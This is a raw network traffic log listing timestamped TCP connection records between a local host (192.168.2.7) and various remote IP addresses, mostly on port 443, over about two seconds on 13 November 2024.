Nov 13, 2024 14:41:29.706336021 CET	49834	443	192.168.2.7	40.126.32.136
Nov 13, 2024 14:41:29.706872940 CET	443	49834	40.126.32.136	192.168.2.7
Nov 13, 2024 14:41:29.706965923 CET	443	49834	40.126.32.136	192.168.2.7
Nov 13, 2024 14:41:29.707021952 CET	49834	443	192.168.2.7	40.126.32.136
Nov 13, 2024 14:41:29.835376978 CET	49856	443	192.168.2.7	40.126.32.136
Nov 13, 2024 14:41:29.835402012 CET	443	49856	40.126.32.136	192.168.2.7
Nov 13, 2024 14:41:29.835527897 CET	49856	443	192.168.2.7	40.126.32.136
Nov 13, 2024 14:41:29.835846901 CET	49856	443	192.168.2.7	40.126.32.136
Nov 13, 2024 14:41:29.835851908 CET	443	49856	40.126.32.136	192.168.2.7
Nov 13, 2024 14:41:29.916471004 CET	49857	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:29.916528940 CET	443	49857	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:29.916613102 CET	49857	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:29.916733980 CET	49858	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:29.916784048 CET	443	49858	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:29.916851997 CET	49858	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:29.916937113 CET	49857	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:29.916950941 CET	443	49857	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:29.917062998 CET	49858	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:29.917079926 CET	443	49858	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:30.135957003 CET	49859	443	192.168.2.7	40.126.32.136
Nov 13, 2024 14:41:30.136013985 CET	443	49859	40.126.32.136	192.168.2.7
Nov 13, 2024 14:41:30.136113882 CET	49859	443	192.168.2.7	40.126.32.136
Nov 13, 2024 14:41:30.136269093 CET	49859	443	192.168.2.7	40.126.32.136
Nov 13, 2024 14:41:30.136284113 CET	443	49859	40.126.32.136	192.168.2.7
Nov 13, 2024 14:41:30.170012951 CET	443	49852	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.170854092 CET	49852	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.170876026 CET	443	49852	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.171149015 CET	443	49851	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.172180891 CET	49851	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.172210932 CET	443	49851	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.173114061 CET	49851	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.173120022 CET	443	49851	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.173177958 CET	49852	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.173185110 CET	443	49852	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.175097942 CET	443	49853	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.175484896 CET	49853	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.175522089 CET	443	49853	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.175646067 CET	443	49854	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.175920010 CET	49853	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.175925016 CET	443	49853	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.176117897 CET	49854	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.176131964 CET	443	49854	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.176470995 CET	49854	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.176475048 CET	443	49854	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.301456928 CET	443	49852	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.301544905 CET	443	49852	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.301609993 CET	49852	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.302212954 CET	49852	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.302232027 CET	443	49852	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.302237988 CET	49852	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.302243948 CET	443	49852	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.302622080 CET	443	49851	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.302691936 CET	443	49851	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.302829027 CET	49851	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.305205107 CET	443	49853	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.305352926 CET	443	49853	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.305444002 CET	49853	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.306406975 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:30.306474924 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:30.308063984 CET	443	49854	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.308212042 CET	443	49854	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.308264017 CET	49854	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.313791037 CET	49851	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.313812971 CET	443	49851	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.313819885 CET	49851	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.313826084 CET	443	49851	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.316402912 CET	49853	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.316440105 CET	443	49853	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.316487074 CET	49853	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.316504002 CET	443	49853	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.321796894 CET	49854	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.321818113 CET	443	49854	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.321830988 CET	49854	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.321835995 CET	443	49854	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.329464912 CET	49861	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:30.329504013 CET	443	49861	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:30.329812050 CET	49861	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:30.329822063 CET	49860	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:30.329871893 CET	443	49860	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:30.330777884 CET	49860	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:30.354499102 CET	49861	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:30.354516983 CET	443	49861	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:30.354633093 CET	49860	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:30.354660988 CET	443	49860	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:30.377038956 CET	49862	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.377089024 CET	443	49862	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.377346039 CET	49862	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.381967068 CET	443	49855	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.391407967 CET	49862	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.391427994 CET	443	49862	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.393377066 CET	49863	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.393419981 CET	443	49863	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.393856049 CET	49855	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.393889904 CET	49863	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.393910885 CET	443	49855	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.395709991 CET	49855	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.395721912 CET	443	49855	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.396071911 CET	49863	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.396085024 CET	443	49863	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.398611069 CET	49864	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.398638010 CET	443	49864	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.399338007 CET	49864	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.399338007 CET	49864	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.399373055 CET	443	49864	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.399446964 CET	49865	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.399477005 CET	443	49865	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.399537086 CET	49865	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.399678946 CET	49865	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.399692059 CET	443	49865	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.521686077 CET	443	49857	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:30.524091005 CET	49857	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:30.524107933 CET	443	49857	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:30.524137974 CET	443	49858	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:30.524487019 CET	443	49857	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:30.524709940 CET	49858	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:30.524749041 CET	443	49858	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:30.525007963 CET	49857	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:30.525080919 CET	443	49857	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:30.525100946 CET	443	49858	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:30.528817892 CET	49858	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:30.528933048 CET	443	49858	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:30.531910896 CET	443	49855	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.531980991 CET	443	49855	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.532036066 CET	49855	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.539237022 CET	49855	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.539237022 CET	49855	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.539257050 CET	443	49855	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.539263010 CET	443	49855	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.555208921 CET	49866	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.555244923 CET	443	49866	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.555335045 CET	49866	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.557480097 CET	49866	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:30.557502985 CET	443	49866	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:30.562017918 CET	49857	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:30.562104940 CET	443	49857	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:30.562233925 CET	49858	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:30.562271118 CET	443	49857	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:30.562369108 CET	443	49858	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:30.562433958 CET	49858	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:30.562697887 CET	49857	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:30.562697887 CET	49857	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:30.564033985 CET	49861	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:30.564080954 CET	49860	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:30.564313889 CET	49826	443	192.168.2.7	18.65.39.56
Nov 13, 2024 14:41:30.564446926 CET	443	49826	18.65.39.56	192.168.2.7
Nov 13, 2024 14:41:30.564505100 CET	49826	443	192.168.2.7	18.65.39.56
Nov 13, 2024 14:41:30.611335039 CET	443	49861	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:30.611344099 CET	443	49860	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:30.770746946 CET	49867	443	192.168.2.7	23.192.223.230
Nov 13, 2024 14:41:30.770793915 CET	443	49867	23.192.223.230	192.168.2.7
Nov 13, 2024 14:41:30.770953894 CET	49867	443	192.168.2.7	23.192.223.230
Nov 13, 2024 14:41:30.771786928 CET	49867	443	192.168.2.7	23.192.223.230
Nov 13, 2024 14:41:30.771800995 CET	443	49867	23.192.223.230	192.168.2.7
Nov 13, 2024 14:41:30.780383110 CET	49870	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:30.780405998 CET	443	49870	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:30.780467987 CET	49870	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:30.780710936 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:30.780739069 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:30.780895948 CET	49870	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:30.780909061 CET	443	49870	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:30.780929089 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:30.781084061 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:30.781099081 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:30.959093094 CET	443	49856	40.126.32.136	192.168.2.7
Nov 13, 2024 14:41:30.959177017 CET	49856	443	192.168.2.7	40.126.32.136
Nov 13, 2024 14:41:30.961040974 CET	443	49860	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:30.961163998 CET	443	49860	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:30.963357925 CET	49860	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:30.964075089 CET	49860	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:30.969752073 CET	49856	443	192.168.2.7	40.126.32.136
Nov 13, 2024 14:41:30.969777107 CET	443	49856	40.126.32.136	192.168.2.7
Nov 13, 2024 14:41:30.970002890 CET	443	49861	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:30.970108032 CET	443	49856	40.126.32.136	192.168.2.7
Nov 13, 2024 14:41:30.970130920 CET	443	49861	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:30.970175982 CET	49861	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:30.970199108 CET	49861	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:30.970659971 CET	49856	443	192.168.2.7	40.126.32.136
Nov 13, 2024 14:41:30.970717907 CET	49856	443	192.168.2.7	40.126.32.136
Nov 13, 2024 14:41:30.970761061 CET	443	49856	40.126.32.136	192.168.2.7
Nov 13, 2024 14:41:31.038034916 CET	49872	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:31.038093090 CET	443	49872	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:31.038337946 CET	49873	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:31.038391113 CET	49872	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:31.038398027 CET	443	49873	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:31.038532972 CET	49873	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:31.038842916 CET	49872	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:31.038855076 CET	443	49872	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:31.039200068 CET	49873	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:31.039218903 CET	443	49873	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:31.091936111 CET	49874	443	192.168.2.7	23.221.22.211
Nov 13, 2024 14:41:31.092003107 CET	443	49874	23.221.22.211	192.168.2.7
Nov 13, 2024 14:41:31.092082977 CET	49874	443	192.168.2.7	23.221.22.211
Nov 13, 2024 14:41:31.092422009 CET	49875	443	192.168.2.7	23.221.22.211
Nov 13, 2024 14:41:31.092464924 CET	443	49875	23.221.22.211	192.168.2.7
Nov 13, 2024 14:41:31.092577934 CET	49875	443	192.168.2.7	23.221.22.211
Nov 13, 2024 14:41:31.093447924 CET	49875	443	192.168.2.7	23.221.22.211
Nov 13, 2024 14:41:31.093476057 CET	443	49875	23.221.22.211	192.168.2.7
Nov 13, 2024 14:41:31.093765020 CET	49874	443	192.168.2.7	23.221.22.211
Nov 13, 2024 14:41:31.093779087 CET	443	49874	23.221.22.211	192.168.2.7
Nov 13, 2024 14:41:31.127332926 CET	443	49863	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.128037930 CET	49863	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.128083944 CET	443	49863	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.128245115 CET	443	49865	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.128540993 CET	49863	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.128551960 CET	443	49863	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.131570101 CET	49865	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.131594896 CET	443	49865	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.131958961 CET	49865	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.131964922 CET	443	49865	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.142045021 CET	443	49864	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.142604113 CET	49864	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.142638922 CET	443	49864	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.143333912 CET	49864	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.143341064 CET	443	49864	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.144942999 CET	443	49862	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.145239115 CET	49862	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.145275116 CET	443	49862	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.145587921 CET	49862	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.145596981 CET	443	49862	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.230464935 CET	443	49859	40.126.32.136	192.168.2.7
Nov 13, 2024 14:41:31.232964039 CET	49859	443	192.168.2.7	40.126.32.136
Nov 13, 2024 14:41:31.232999086 CET	443	49859	40.126.32.136	192.168.2.7
Nov 13, 2024 14:41:31.235913992 CET	49859	443	192.168.2.7	40.126.32.136
Nov 13, 2024 14:41:31.235923052 CET	443	49859	40.126.32.136	192.168.2.7
Nov 13, 2024 14:41:31.236007929 CET	49859	443	192.168.2.7	40.126.32.136
Nov 13, 2024 14:41:31.236016989 CET	443	49859	40.126.32.136	192.168.2.7
Nov 13, 2024 14:41:31.256063938 CET	443	49863	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.256151915 CET	443	49863	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.256212950 CET	49863	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.256664991 CET	443	49865	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.256726980 CET	443	49865	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.256774902 CET	443	49865	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.256787062 CET	49865	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.256814957 CET	49865	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.273988008 CET	443	49864	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.274063110 CET	443	49864	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.274147987 CET	49864	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.283153057 CET	443	49862	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.283226967 CET	443	49862	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.283628941 CET	49862	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.285866022 CET	443	49866	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.287177086 CET	49866	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.287187099 CET	443	49866	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.287679911 CET	49866	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.287698030 CET	443	49866	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.288034916 CET	49863	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.288036108 CET	49863	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.288075924 CET	443	49863	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.288091898 CET	443	49863	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.289212942 CET	49865	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.289242983 CET	443	49865	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.289254904 CET	49865	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.289261103 CET	443	49865	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.290461063 CET	49864	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.290488958 CET	443	49864	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.291332006 CET	49864	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.291342020 CET	443	49864	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.291351080 CET	49862	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.291377068 CET	443	49862	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.291390896 CET	49862	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.291400909 CET	443	49862	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.302160978 CET	49876	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.302212000 CET	443	49876	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.302443027 CET	49876	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.302443027 CET	49876	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.302481890 CET	443	49876	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.303555965 CET	49877	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.303606033 CET	443	49877	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.303797960 CET	49877	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.305387020 CET	49879	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.305397034 CET	443	49879	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.305501938 CET	49877	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.305517912 CET	443	49877	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.305538893 CET	49879	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.305547953 CET	49878	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.305572033 CET	443	49878	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.305720091 CET	49879	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.305732965 CET	443	49879	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.305808067 CET	49878	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.305926085 CET	49878	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.305932999 CET	443	49878	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.321348906 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:31.321398020 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:31.321707964 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:31.321933985 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:31.321949005 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:31.337244987 CET	443	49856	40.126.32.136	192.168.2.7
Nov 13, 2024 14:41:31.380703926 CET	443	49867	23.192.223.230	192.168.2.7
Nov 13, 2024 14:41:31.381401062 CET	49867	443	192.168.2.7	23.192.223.230
Nov 13, 2024 14:41:31.381428957 CET	443	49867	23.192.223.230	192.168.2.7
Nov 13, 2024 14:41:31.382658958 CET	443	49867	23.192.223.230	192.168.2.7
Nov 13, 2024 14:41:31.382719040 CET	49867	443	192.168.2.7	23.192.223.230
Nov 13, 2024 14:41:31.385507107 CET	49867	443	192.168.2.7	23.192.223.230
Nov 13, 2024 14:41:31.385601044 CET	443	49867	23.192.223.230	192.168.2.7
Nov 13, 2024 14:41:31.385691881 CET	49867	443	192.168.2.7	23.192.223.230
Nov 13, 2024 14:41:31.391125917 CET	49856	443	192.168.2.7	40.126.32.136
Nov 13, 2024 14:41:31.391166925 CET	443	49856	40.126.32.136	192.168.2.7
Nov 13, 2024 14:41:31.409488916 CET	49856	443	192.168.2.7	40.126.32.136
Nov 13, 2024 14:41:31.409488916 CET	49856	443	192.168.2.7	40.126.32.136
Nov 13, 2024 14:41:31.409796000 CET	443	49856	40.126.32.136	192.168.2.7
Nov 13, 2024 14:41:31.409833908 CET	443	49856	40.126.32.136	192.168.2.7
Nov 13, 2024 14:41:31.409984112 CET	49856	443	192.168.2.7	40.126.32.136
Nov 13, 2024 14:41:31.416213036 CET	443	49866	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.416239977 CET	443	49866	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.416294098 CET	443	49866	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.416309118 CET	49866	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.416354895 CET	49866	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.416666031 CET	49866	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.416666031 CET	49866	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.416682005 CET	443	49866	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.416690111 CET	443	49866	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.427335024 CET	443	49867	23.192.223.230	192.168.2.7
Nov 13, 2024 14:41:31.431322098 CET	49881	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.431379080 CET	443	49881	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.431449890 CET	49881	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.432039022 CET	49881	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:31.432055950 CET	443	49881	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:31.503608942 CET	49867	443	192.168.2.7	23.192.223.230
Nov 13, 2024 14:41:31.503629923 CET	443	49867	23.192.223.230	192.168.2.7
Nov 13, 2024 14:41:31.509058952 CET	443	49870	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.514624119 CET	49870	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:31.514636993 CET	443	49870	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.515708923 CET	443	49870	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.515775919 CET	49870	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:31.516257048 CET	443	49867	23.192.223.230	192.168.2.7
Nov 13, 2024 14:41:31.516268969 CET	443	49867	23.192.223.230	192.168.2.7
Nov 13, 2024 14:41:31.516289949 CET	443	49867	23.192.223.230	192.168.2.7
Nov 13, 2024 14:41:31.516297102 CET	443	49867	23.192.223.230	192.168.2.7
Nov 13, 2024 14:41:31.516304016 CET	443	49867	23.192.223.230	192.168.2.7
Nov 13, 2024 14:41:31.516314030 CET	49867	443	192.168.2.7	23.192.223.230
Nov 13, 2024 14:41:31.516330004 CET	49867	443	192.168.2.7	23.192.223.230
Nov 13, 2024 14:41:31.516334057 CET	443	49867	23.192.223.230	192.168.2.7
Nov 13, 2024 14:41:31.516366005 CET	49867	443	192.168.2.7	23.192.223.230
Nov 13, 2024 14:41:31.516398907 CET	443	49867	23.192.223.230	192.168.2.7
Nov 13, 2024 14:41:31.516438961 CET	49867	443	192.168.2.7	23.192.223.230
Nov 13, 2024 14:41:31.524347067 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.541162014 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:31.541179895 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.542320967 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.542416096 CET	49871	443	192.168.2.7	13.107.246.57
